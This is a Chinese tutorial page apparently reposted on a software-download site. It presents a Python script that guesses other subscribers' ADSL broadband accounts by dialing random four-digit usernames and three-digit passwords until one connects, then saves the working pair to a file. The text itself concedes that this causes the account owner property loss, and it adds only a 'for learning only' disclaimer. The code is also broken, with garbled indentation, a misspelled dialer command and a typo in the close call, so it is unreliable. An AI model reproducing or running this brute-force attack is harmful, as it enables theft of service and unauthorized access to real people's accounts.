当前位置:萝卜系统 > 网络技术教程 > 详细页面

完整的处理方案:Python基于python完成ADSL宽带帐户,密码取得与宽带拨号

完整的处理方案:Python基于python完成ADSL宽带帐户,密码取得与宽带拨号

更新时间:2023-09-04 文章作者:未知 信息来源:网络 阅读次数:

网络故障(network failure)是指由于硬件的问题、软件的漏洞、病毒的侵入等引起网络无法提供正常服务或降低服务质量的状态。

基于python实现ADSL宽带帐户的获取和宽带拨号

基本思路:

1、Internet访问研究(实验环境是电信网络电缆访问ADSL,拨号PPPOE)

2、研究了宽带帐户和密码生成的规则(实验环境,宽带帐户由4个数字组成,密码由3个数字组成),发现帐户和密码非常简单

3、使用python调用系统的内置rasdia程序进行拨号。如果拨号成功,则该帐户有效,并停止拨号。 (如果拨号成功,则该号码将在首次访问互联网后的一个月内有效。如果继续检测到该号码,则可能导致另一方财产大量丢失)

4、该程序仅用于学习,请勿将其用于非法目的,否则后果自负。

源代码:

 #!/usr/bin/env python
 # -*- coding:utf-8 -*-
 __author__ = 'laiyu'
 import os
 import random
 import time
 if __name__ == "__main__":
   not_found = 1
   while not_found:
   #  随机生成宽带帐号和密码
   username = str(random.randint(1000, 9999))
   passwd = str(random.randint(100, 999))
   #  宽带拨号
   cmd_str = "rasdia" + " " + "宽带连接" + " " + username + " " + passwd
   not_found = os.system(cmd_str)
   time.sleep(10)
   #  拨号成功,保存帐号密码
   if not_found == 0:
   file = open("d:\\test.txt", "w")
   file.write(username+ "" + passwd)
   file.colse()


本文来自本站,转载请注明本文网址:
http://www.pc-fly.com/a/tongxingongju/article-323721-1.html


当今,越来越多的业务应用运行于网络架构之上,保障网络的持续、高效、安全的运行,成为网络管理者面临的巨大挑战。

温馨提示:喜欢本站的话,请收藏一下本站!

本类教程下载

系统下载排行

网站地图xml | 网站地图html